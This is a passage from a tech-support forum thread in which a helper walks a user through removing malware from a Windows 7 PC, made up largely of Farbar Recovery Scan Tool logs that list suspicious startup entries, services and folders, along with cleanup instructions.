2015-03-02 13:52 - 2015-03-02 13:52 - 00017801 _____ (Meetinghouse Data Communications) C:\Windows\system32\Drivers\AegisP.sys
2015-03-02 13:52 - 2015-03-02 13:52 - 00001228 _____ () C:\Users\Public\Desktop\Belkin Wireless Utility.lnk
2015-03-02 13:52 - 2015-03-02 13:52 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Belkin
2015-03-02 13:52 - 2015-03-02 13:52 - 00000000 ____D () C:\Program Files\Belkin
2015-03-02 13:52 - 2005-06-01 23:37 - 00463872 _____ (Belkin Corporation.) C:\Windows\system32\Drivers\BLKWGD.sys
2015-02-27 19:24 - 2015-02-27 19:24 - 02160179 _____ () C:\Users\Tim\Documents\Comedy.wma
2015-02-23 14:19 - 2015-03-02 14:02 - 00000000 ___HD () C:\Program Files\InstallShield Installation Information
2015-02-23 14:19 - 2015-03-02 13:52 - 00000000 ____D () C:\Program Files\Common Files\InstallShield
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wireless-B PCI Adapter
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Linksys
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Funk Software
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Common Files\Funk Software
2015-02-23 13:54 - 2015-02-23 13:52 - 01887656 _____ () C:\Users\Tim\Desktop\F5D7230-4-V3.00.05.bin
2015-02-23 13:54 - 2015-02-23 13:52 - 01674172 _____ () C:\Users\Tim\Desktop\BELKIN_AP_2.00.04.bin
2015-02-23 13:44 - 2015-02-23 13:43 - 02097152 _____ () C:\Users\Tim\Desktop\f5d7230-4_us_9.00.02.bin
2015-02-23 13:20 - 2015-02-23 13:20 - 00000000 ____D () C:\Windows\Cache
2015-02-17 22:30 - 2015-03-08 22:25 - 00000000 ____D () C:\Linksys Driver

==================== One Month Modified Files and Folders =======

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-03-08 22:52 - 2012-09-05 13:06 - 00000830 _____ () C:\Windows\Tasks\Adobe Flash Player Updater.job
2015-03-08 22:34 - 2014-05-15 20:24 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Mozilla
2015-03-08 22:34 - 2014-04-15 21:59 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\BitTorrent
2015-03-08 22:34 - 2014-03-16 16:16 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Hoyle FaceCreator
2015-03-08 22:34 - 2014-03-16 16:16 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Hoyle
2015-03-08 22:34 - 2011-10-23 23:48 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Adobe
2015-03-08 22:33 - 2012-10-31 21:47 - 00000000 ____D () C:\Users\Tim\AppData\Local\Microsoft Games
2015-03-08 22:29 - 2014-08-10 00:42 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\G001
2015-03-08 22:29 - 2014-02-23 19:51 - 00000000 ____D () C:\Users\Tim\AppData\Local\Apple Computer
2015-03-08 22:29 - 2014-02-23 19:51 - 00000000 ____D () C:\ProgramData\Apple Computer
2015-03-08 22:29 - 2011-10-16 17:30 - 00000000 ____D () C:\Users\Tim
2015-03-08 22:28 - 2014-05-15 20:24 - 00000000 ____D () C:\Users\Tim\AppData\Local\Mozilla
2015-03-08 21:14 - 2009-07-14 00:34 - 00014016 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2015-03-08 21:14 - 2009-07-14 00:34 - 00014016 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2015-03-08 21:13 - 2011-10-16 17:38 - 00713888 _____ () C:\Windows\system32\PerfStringBackup.INI
2015-03-08 21:07 - 2014-08-08 18:15 - 00000000 ____D () C:\ProgramData\AswoDnix
2015-03-08 21:07 - 2014-03-17 19:14 - 00042072 _____ () C:\Windows\PFRO.log
2015-03-08 21:07 - 2009-07-14 00:53 - 00000006 ____H () C:\Windows\Tasks\SA.DAT
2015-03-08 21:07 - 2009-07-14 00:39 - 00025576 _____ () C:\Windows\setupact.log
2015-03-08 21:05 - 2014-08-15 21:01 - 00000000 ____D () C:\ProgramData\IpsuVpak
2015-03-08 21:05 - 2014-08-15 20:35 - 00000000 ____D () C:\ProgramData\OrbiBesd
2015-03-08 21:05 - 2014-08-10 00:31 - 00000000 ____D () C:\ProgramData\IsruYacr
2015-03-08 21:05 - 2014-08-07 18:36 - 00000000 ____D () C:\ProgramData\EbvuDogn
2015-03-08 19:36 - 2009-07-13 22:37 - 00000000 ____D () C:\Windows\system32\NDF
2015-03-07 14:23 - 2009-07-14 00:53 - 00032542 _____ () C:\Windows\Tasks\SCHEDLGU.TXT
2015-03-06 22:38 - 2011-10-16 17:31 - 01547097 _____ () C:\Windows\WindowsUpdate.log
2015-03-06 16:42 - 2014-05-15 20:24 - 00000000 ____D () C:\Program Files\Mozilla Maintenance Service
2015-03-05 14:46 - 2014-02-23 19:51 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Apple Computer
2015-03-03 16:15 - 2012-09-05 13:06 - 00701616 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerApp.exe
2015-03-03 16:15 - 2011-10-23 23:48 - 00071344 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerCPLApp.cpl
2015-03-02 14:41 - 2014-03-12 17:39 - 00002441 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk
2015-03-02 14:41 - 2014-03-12 17:39 - 00000000 ____D () C:\Program Files\Common Files\Adobe
2015-03-02 13:52 - 2011-10-16 17:33 - 00000000 ____D () C:\Windows\Downloaded Installations
2015-03-02 13:52 - 2005-03-14 16:19 - 00000308 _____ () C:\Windows\system32\results.txt

==================== Bamital & volsnap Check =================

(There is no automatic fix for files that do not pass verification.)

C:\Windows\explorer.exe => File is digitally signed
C:\Windows\system32\winlogon.exe => File is digitally signed
C:\Windows\system32\wininit.exe => File is digitally signed
C:\Windows\system32\svchost.exe => File is digitally signed
C:\Windows\system32\services.exe
[2009-07-13 19:11] - [2014-08-04 19:40] - 0264192 ____A (Microsoft Corporation) 0EAA9484A9DEC81C45559912309EAA8F

C:\Windows\system32\User32.dll => File is digitally signed
C:\Windows\system32\userinit.exe => File is digitally signed
C:\Windows\system32\rpcss.dll => File is digitally signed
C:\Windows\system32\Drivers\volsnap.sys => File is digitally signed

LastRegBack: 2015-03-05 16:34

==================== End Of Log ============================


----------



## timmy12342 (Mar 7, 2015)

that same script error keeps randomly popping up on my screen. Its not a big deal i just close it, but do you have any idea why?


----------



## JSntgRvr (Jul 1, 2003)

Lets remove the CLSD.

Please download the enclosed file. (see below) and save it in the same directory as *FRST*.

Start *FRST* with Administrator privileges.
Press the *Fix* button.
When finished, a log file (*Fixlog.txt*) pops up and is saved to the same location the tool was run from.
Please copy and paste its contents in your next reply.


----------



## timmy12342 (Mar 7, 2015)

farbar is stuck on deleting temporary internet files: C:\Users\Tim\AppData\Local\Temp
I've tried a few times now


----------



## timmy12342 (Mar 7, 2015)

I will let it go overnight and see if it does anything


----------



## JSntgRvr (Jul 1, 2003)

Has the javascript message disappeared ?


----------



## timmy12342 (Mar 7, 2015)

Yes it seems to have stopped


----------



## JSntgRvr (Jul 1, 2003)

We need to remove the tools we've used during cleaning your machine


Download Delfix from *here*
Ensure *Remove disinfection tools* is ticked
*Also tick:
*
Create registry backup
Purge system restore










Click *Run*
The program will run for a few moments and then notepad will open with a log. Please paste the log in your next reply

How is it doing?


----------



## timmy12342 (Mar 7, 2015)

Something still isn't quite right. There are still programs running in the background on my PC. At least thats what it seems like. When i go to shut down it tells me that i have to force a shutdown because there are programs running even after i've closed all of them. Also when i open my task manager it tells me that there are 6 applications running called Default IME and about 10 "Internet Explorer"s. And more just keep popping up randomly


----------



## timmy12342 (Mar 7, 2015)

Should i use Delfix now or wait until we are sure that the computer is completely cleaned?


----------



## JSntgRvr (Jul 1, 2003)

Update FRST and post a new *FSRT.txt* scan report.


----------



## timmy12342 (Mar 7, 2015)

Scan result of Farbar Recovery Scan Tool (FRST) (x86) Version: 10-03-2015
Ran by Tim (administrator) on TIM-PC on 10-03-2015 19:11:00
Running from C:\Users\Tim\Downloads
Loaded Profiles: Tim (Available profiles: Tim)
Platform: Microsoft Windows 7 Ultimate (X86) OS Language: English (United States)
Internet Explorer Version 8 (Default browser: FF)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(Apple Inc.) C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
(Apple Inc.) D:\iTunes\iTunesHelper.exe
(Belkin) C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe
(Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe
() C:\Program Files\Linksys\Wireless-B PCI Adapter\OdHost.exe
(The Linksys Group, Inc.) C:\Program Files\Linksys\Wireless-B PCI Adapter\WMP11CFG.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe

==================== Registry (Whitelisted) ==================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [iTunesHelper] => D:\iTunes\iTunesHelper.exe [152392 2014-01-20] (Apple Inc.)
HKLM\...\Run: [Adobe ARM] => C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1022152 2014-12-19] (Adobe Systems Incorporated)
HKLM\...\Run: [FlashPlayerUpdate] => C:\Users\Tim\AppData\Local\Macromedia\Flash Player\FlashPlayerUpdateService.exe [188928 2015-03-10] ()
HKLM\...\Run: [{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}] => C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}.exe [212011 2014-05-15] ()
HKLM\...\RunServices: [Atheros Configuration Service] => C:\Windows\System32\acs.exe [36864 2005-05-05] ()
HKLM\...\Policies\Explorer\Run: [{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}] => C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}.exe [212011 2014-05-15] ( ())
HKLM\...\Policies\Explorer: [TaskbarNoNotification] 1
HKLM\...\Policies\Explorer: [HideSCAHealth] 1
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [BluetoothS] => rundll32.exe "%appdata%\BtvStack.dll",BTHF_Register
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Policies\Explorer: [TaskbarNoNotification] 1
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Policies\Explorer: [HideSCAHealth] 1
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Belkin Wireless Utility.lnk
ShortcutTarget: Belkin Wireless Utility.lnk -> C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe (Belkin)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Wireless-B Notebook Adapter Utility.lnk
ShortcutTarget: Wireless-B Notebook Adapter Utility.lnk -> C:\Program Files\Linksys\Wireless-B PCI Adapter\Startup.exe ()

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.google.com
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkId=56626&homepage=http://www.google.com/
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = http://www.msn.com/?ocid=iehp
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> URL http://search.conduit.com/Results.aspx?ctid=CT3323878&octid=EB_ORIGINAL_CTID&SearchSource=58&CUI=&UM=4&UP=SP15BE49DC-0845-49C5-BF5C-5190268C75F4&q={searchTerms}&SSPV=SE1CG2_sp_ie
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> {6119AD82-DA2F-4B34-BB9A-878B98DF03EF} URL = http://www.bing.com/search?q={searchTerms}
Tcpip\Parameters: [DhcpNameServer] 192.168.1.254

FireFox:
========
FF ProfilePath: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF32_16_0_0_305.dll [2015-03-03] ()
FF Plugin: @Apple.com/iTunes,version=1.0 -> D:\iTunes\Mozilla Plugins\npitunes.dll [2013-12-18] ()
FF Plugin: Adobe Reader -> C:\Program Files\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll [2014-12-03] (Adobe Systems Inc.)

Chrome: 
=======
CHR Profile: C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (save! Net) - C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default\Extensions\hbimodhljhimhoodfcelccoebafophdn [2014-04-21]

========================== Services (Whitelisted) =================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

S2 googleupdate; C:\Windows\LaRnaefG.exe [548864 2015-03-10] () [File not signed]
S2 MBAMScheduler; D:\Malwarebytes Anti-Malware\mbamscheduler.exe [1871160 2014-11-21] (Malwarebytes Corporation)
S2 MBAMService; D:\Malwarebytes Anti-Malware\mbamservice.exe [969016 2014-11-21] (Malwarebytes Corporation)
S4 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [680960 2009-07-13] (Microsoft Corporation)

==================== Drivers (Whitelisted) ====================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

R2 AegisP; C:\Windows\System32\DRIVERS\AegisP.sys [17801 2015-03-02] (Meetinghouse Data Communications) [File not signed]
R3 BLKWGD; C:\Windows\System32\DRIVERS\BLKWGD.sys [463872 2005-06-01] (Belkin Corporation.)
S3 EsgScanner; C:\Windows\System32\DRIVERS\EsgScanner.sys [19984 2015-03-06] ()
S3 IPN2120; C:\Windows\System32\DRIVERS\LSIPNDS.sys [96256 2003-07-10] (The Linksys Group, Inc.)
R3 MBAMProtector; C:\Windows\system32\drivers\mbam.sys [23256 2014-11-21] (Malwarebytes Corporation)
S3 MBAMSwissArmy; C:\Windows\system32\drivers\MBAMSwissArmy.sys [114904 2015-03-10] (Malwarebytes Corporation)
S3 MBAMWebAccessControl; C:\Windows\system32\drivers\mwac.sys [51928 2014-11-21] (Malwarebytes Corporation)
R3 odysseyIM3; C:\Windows\System32\DRIVERS\odysseyIM3.sys [62673 2003-05-14] (Funk Software, Inc.)
U5 VWiFiFlt; C:\Windows\System32\Drivers\VWiFiFlt.sys [48128 2009-07-13] (Microsoft Corporation)

==================== NetSvcs (Whitelisted) ===================

(If an item is included in the fixlist, it will be removed from the registry. Any associated file could be listed separately to be moved.)

==================== One Month Created Files and Folders ========

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-03-10 13:19 - 2015-03-10 13:20 - 00709564 _____ () C:\Users\Tim\Downloads\delfix_10.8.exe
2015-03-10 13:16 - 2015-03-10 13:16 - 00548864 _____ () C:\Windows\LaRnaefG.exe
2015-03-08 23:44 - 2015-03-08 23:44 - 00000791 _____ () C:\Users\Tim\Downloads\fixlist(1).txt
2015-03-08 22:21 - 2015-03-08 22:21 - 00044039 _____ () C:\Users\Tim\Downloads\fixlist.txt
2015-03-08 20:49 - 2015-03-10 13:13 - 00114904 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\MBAMSwissArmy.sys
2015-03-08 20:49 - 2015-03-08 20:49 - 00000621 _____ () C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk
2015-03-08 20:48 - 2015-03-08 20:49 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware
2015-03-08 20:48 - 2015-03-08 20:48 - 00000000 ____D () C:\ProgramData\Malwarebytes
2015-03-08 20:48 - 2014-11-21 06:14 - 00075480 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mbamchameleon.sys
2015-03-08 20:48 - 2014-11-21 06:14 - 00051928 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mwac.sys
2015-03-08 20:48 - 2014-11-21 06:14 - 00023256 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mbam.sys
2015-03-08 20:20 - 2015-03-08 20:40 - 20447072 _____ (Malwarebytes Corporation ) C:\Users\Tim\Downloads\mbam-setup-2.0.4.1028.exe
2015-03-08 19:53 - 2015-03-08 20:03 - 00000000 ____D () C:\AdwCleaner
2015-03-08 19:48 - 2015-03-08 19:49 - 02126848 _____ () C:\Users\Tim\Downloads\adwcleaner_4.111.exe
2015-03-08 19:41 - 2015-03-08 19:41 - 00005015 _____ () C:\Users\Tim\Desktop\JRT.txt
2015-03-08 15:39 - 2015-03-08 15:45 - 01388333 _____ (Thisisu) C:\Users\Tim\Downloads\JRT.exe
2015-03-08 15:21 - 2015-03-08 15:21 - 00000761 _____ () C:\Windows\system32\Drivers\etc\hosts.txt
2015-03-08 14:57 - 2015-03-08 15:17 - 00805518 _____ () C:\Users\Tim\Desktop\ListCWall.txt
2015-03-08 14:55 - 2015-03-08 14:57 - 00452424 _____ (Bleeping Computer, LLC) C:\Users\Tim\Downloads\ListCWall.exe
2015-03-07 15:18 - 2015-03-07 15:23 - 00509440 _____ (Tech Support Guy System) C:\Users\Tim\Downloads\SysInfo.exe
2015-03-07 14:30 - 2015-03-10 19:10 - 00000000 ____D () C:\Users\Tim\Downloads\FRST-OlderVersion
2015-03-07 13:59 - 2015-03-07 14:32 - 00048686 _____ () C:\Users\Tim\Downloads\Shortcut.txt
2015-03-07 13:59 - 2015-03-07 14:32 - 00022741 _____ () C:\Users\Tim\Downloads\Addition.txt
2015-03-07 13:58 - 2015-03-10 19:11 - 00007498 _____ () C:\Users\Tim\Downloads\FRST.txt
2015-03-07 12:48 - 2015-03-10 19:11 - 00000000 ____D () C:\FRST
2015-03-07 02:07 - 2015-03-10 19:10 - 01134592 _____ (Farbar) C:\Users\Tim\Downloads\FRST.exe
2015-03-06 23:36 - 2015-03-06 23:36 - 00019984 _____ () C:\Windows\system32\Drivers\EsgScanner.sys
2015-03-06 22:59 - 2015-03-06 23:00 - 00018944 ___SH () C:\Users\Tim\Thumbs.db
2015-03-06 16:15 - 2015-03-06 16:16 - 00000000 ____D () C:\Program Files\Mozilla Firefox
2015-03-05 20:07 - 2015-03-10 19:08 - 00000000 ___HD () C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}
2015-03-05 15:26 - 2015-03-05 15:26 - 00000568 _____ () C:\Users\Public\Desktop\Graphic Equalizer Studio 2015.lnk
2015-03-05 15:26 - 2015-03-05 15:26 - 00000568 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Graphic Equalizer Studio 2015.lnk
2015-03-05 15:26 - 2015-03-05 15:26 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Graphic Equalizer Studio 2015
2015-03-05 15:26 - 2015-03-05 15:26 - 00000000 ____D () C:\Program Files\graphic eq
2015-03-05 15:11 - 2015-03-05 15:24 - 08774480 _____ (Pantaray Research Ltd.) C:\Users\Tim\Downloads\EQDemo64.exe
2015-03-05 14:41 - 2015-03-05 14:42 - 01265198 _____ () C:\Users\Tim\Downloads\EqualizerAPO32-0.7.exe
2015-03-05 14:31 - 2015-03-05 14:34 - 01657594 _____ () C:\Users\Tim\Downloads\EqualizerAPO64-0.9.1.exe
2015-03-03 20:03 - 2015-03-03 20:03 - 00018944 ___SH () C:\Users\Tim\AppData\Thumbs.db
2015-03-02 15:41 - 2015-03-02 15:57 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Local Store
2015-03-02 14:41 - 2015-03-06 22:57 - 00000000 ____D () C:\Program Files\Enigma Software Group
2015-03-02 14:38 - 2015-03-02 14:40 - 03044736 _____ (Enigma Software Group USA, LLC.) C:\Users\Tim\Downloads\SpyHunter-Installer.exe
2015-03-02 13:52 - 2015-03-02 13:52 - 00017801 _____ (Meetinghouse Data Communications) C:\Windows\system32\Drivers\AegisP.sys
2015-03-02 13:52 - 2015-03-02 13:52 - 00001228 _____ () C:\Users\Public\Desktop\Belkin Wireless Utility.lnk
2015-03-02 13:52 - 2015-03-02 13:52 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Belkin
2015-03-02 13:52 - 2015-03-02 13:52 - 00000000 ____D () C:\Program Files\Belkin
2015-03-02 13:52 - 2005-06-01 23:37 - 00463872 _____ (Belkin Corporation.) C:\Windows\system32\Drivers\BLKWGD.sys
2015-02-27 19:24 - 2015-02-27 19:24 - 02160179 _____ () C:\Users\Tim\Documents\Comedy.wma
2015-02-23 14:19 - 2015-03-02 14:02 - 00000000 ___HD () C:\Program Files\InstallShield Installation Information
2015-02-23 14:19 - 2015-03-02 13:52 - 00000000 ____D () C:\Program Files\Common Files\InstallShield
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wireless-B PCI Adapter
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Linksys
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Funk Software
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Common Files\Funk Software
2015-02-23 13:54 - 2015-02-23 13:52 - 01887656 _____ () C:\Users\Tim\Desktop\F5D7230-4-V3.00.05.bin
2015-02-23 13:54 - 2015-02-23 13:52 - 01674172 _____ () C:\Users\Tim\Desktop\BELKIN_AP_2.00.04.bin
2015-02-23 13:44 - 2015-02-23 13:43 - 02097152 _____ () C:\Users\Tim\Desktop\f5d7230-4_us_9.00.02.bin
2015-02-23 13:20 - 2015-02-23 13:20 - 00000000 ____D () C:\Windows\Cache
2015-02-17 22:30 - 2015-03-08 22:25 - 00000000 ____D () C:\Linksys Driver

==================== One Month Modified Files and Folders =======

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-03-10 19:08 - 2009-07-14 00:53 - 00000006 ____H () C:\Windows\Tasks\SA.DAT
2015-03-10 19:08 - 2009-07-14 00:39 - 00025744 _____ () C:\Windows\setupact.log
2015-03-10 13:19 - 2009-07-14 00:34 - 00014016 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2015-03-10 13:19 - 2009-07-14 00:34 - 00014016 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2015-03-10 13:18 - 2011-10-16 17:38 - 00713888 _____ () C:\Windows\system32\PerfStringBackup.INI
2015-03-09 14:52 - 2012-09-05 13:06 - 00000830 _____ () C:\Windows\Tasks\Adobe Flash Player Updater.job
2015-03-09 14:18 - 2014-03-17 19:14 - 00045824 _____ () C:\Windows\PFRO.log
2015-03-08 22:34 - 2014-05-15 20:24 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Mozilla
2015-03-08 22:34 - 2014-04-15 21:59 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\BitTorrent
2015-03-08 22:34 - 2014-03-16 16:16 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Hoyle FaceCreator
2015-03-08 22:34 - 2014-03-16 16:16 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Hoyle
2015-03-08 22:34 - 2011-10-23 23:48 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Adobe
2015-03-08 22:33 - 2012-10-31 21:47 - 00000000 ____D () C:\Users\Tim\AppData\Local\Microsoft Games
2015-03-08 22:29 - 2014-08-10 00:42 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\G001
2015-03-08 22:29 - 2014-02-23 19:51 - 00000000 ____D () C:\Users\Tim\AppData\Local\Apple Computer
2015-03-08 22:29 - 2014-02-23 19:51 - 00000000 ____D () C:\ProgramData\Apple Computer
2015-03-08 22:29 - 2011-10-16 17:30 - 00000000 ____D () C:\Users\Tim
2015-03-08 22:28 - 2014-05-15 20:24 - 00000000 ____D () C:\Users\Tim\AppData\Local\Mozilla
2015-03-08 21:07 - 2014-08-08 18:15 - 00000000 ____D () C:\ProgramData\AswoDnix
2015-03-08 21:05 - 2014-08-15 21:01 - 00000000 ____D () C:\ProgramData\IpsuVpak
2015-03-08 21:05 - 2014-08-15 20:35 - 00000000 ____D () C:\ProgramData\OrbiBesd
2015-03-08 21:05 - 2014-08-10 00:31 - 00000000 ____D () C:\ProgramData\IsruYacr
2015-03-08 21:05 - 2014-08-07 18:36 - 00000000 ____D () C:\ProgramData\EbvuDogn
2015-03-08 19:36 - 2009-07-13 22:37 - 00000000 ____D () C:\Windows\system32\NDF
2015-03-07 14:23 - 2009-07-14 00:53 - 00032542 _____ () C:\Windows\Tasks\SCHEDLGU.TXT
2015-03-06 22:38 - 2011-10-16 17:31 - 01547097 _____ () C:\Windows\WindowsUpdate.log
2015-03-06 16:42 - 2014-05-15 20:24 - 00000000 ____D () C:\Program Files\Mozilla Maintenance Service
2015-03-05 14:46 - 2014-02-23 19:51 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Apple Computer
2015-03-03 16:15 - 2012-09-05 13:06 - 00701616 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerApp.exe
2015-03-03 16:15 - 2011-10-23 23:48 - 00071344 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerCPLApp.cpl
2015-03-02 14:41 - 2014-03-12 17:39 - 00002441 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk
2015-03-02 14:41 - 2014-03-12 17:39 - 00000000 ____D () C:\Program Files\Common Files\Adobe
2015-03-02 13:52 - 2011-10-16 17:33 - 00000000 ____D () C:\Windows\Downloaded Installations
2015-03-02 13:52 - 2005-03-14 16:19 - 00000308 _____ () C:\Windows\system32\results.txt

==================== Bamital & volsnap Check =================

(There is no automatic fix for files that do not pass verification.)

C:\Windows\explorer.exe => File is digitally signed
C:\Windows\system32\winlogon.exe => File is digitally signed
C:\Windows\system32\wininit.exe => File is digitally signed
C:\Windows\system32\svchost.exe => File is digitally signed
C:\Windows\system32\services.exe
[2009-07-13 19:11] - [2014-08-04 19:40] - 0264192 ____A (Microsoft Corporation) 0EAA9484A9DEC81C45559912309EAA8F

C:\Windows\system32\User32.dll => File is digitally signed
C:\Windows\system32\userinit.exe => File is digitally signed
C:\Windows\system32\rpcss.dll => File is digitally signed
C:\Windows\system32\Drivers\volsnap.sys => File is digitally signed

LastRegBack: 2015-03-05 16:34

==================== End Of Log ============================


----------



## timmy12342 (Mar 7, 2015)

Additional scan result of Farbar Recovery Scan Tool (x86) Version: 10-03-2015
Ran by Tim at 2015-03-10 19:11:24
Running from C:\Users\Tim\Downloads
Boot Mode: Normal
==========================================================

==================== Security Center ========================

(If an entry is included in the fixlist, it will be removed.)

AS: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installed Programs ======================

(Only the adware programs with "hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)

Adobe Flash Player 16 ActiveX (HKLM\...\Adobe Flash Player ActiveX) (Version: 16.0.0.305 - Adobe Systems Incorporated)
Adobe Flash Player 16 NPAPI (HKLM\...\Adobe Flash Player NPAPI) (Version: 16.0.0.305 - Adobe Systems Incorporated)
Adobe Reader XI (11.0.10) (HKLM\...\{AC76BA86-7AD7-1033-7B44-AB0000000001}) (Version: 11.0.10 - Adobe Systems Incorporated)
Apple Application Support (HKLM\...\{A922C4B7-50E0-4787-A94C-59DBF3C65DBE}) (Version: 3.0 - Apple Inc.)
Apple Mobile Device Support (HKLM\...\{10E3A6DD-84D8-4D8A-BB11-5E5314BCA7FD}) (Version: 7.1.0.32 - Apple Inc.)
Apple Software Update (HKLM\...\{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}) (Version: 2.1.3.127 - Apple Inc.)
Belkin Wireless Utility (HKLM\...\InstallShield_{5314FAC0-F8A5-4432-8980-251D055B2C5B}) (Version: 4.1.2.56 - Belkin)
Belkin Wireless Utility (Version: 4.1.2.56 - Belkin) Hidden
BitTorrent (HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\BitTorrent) (Version: 7.9.2.32128 - BitTorrent Inc.)
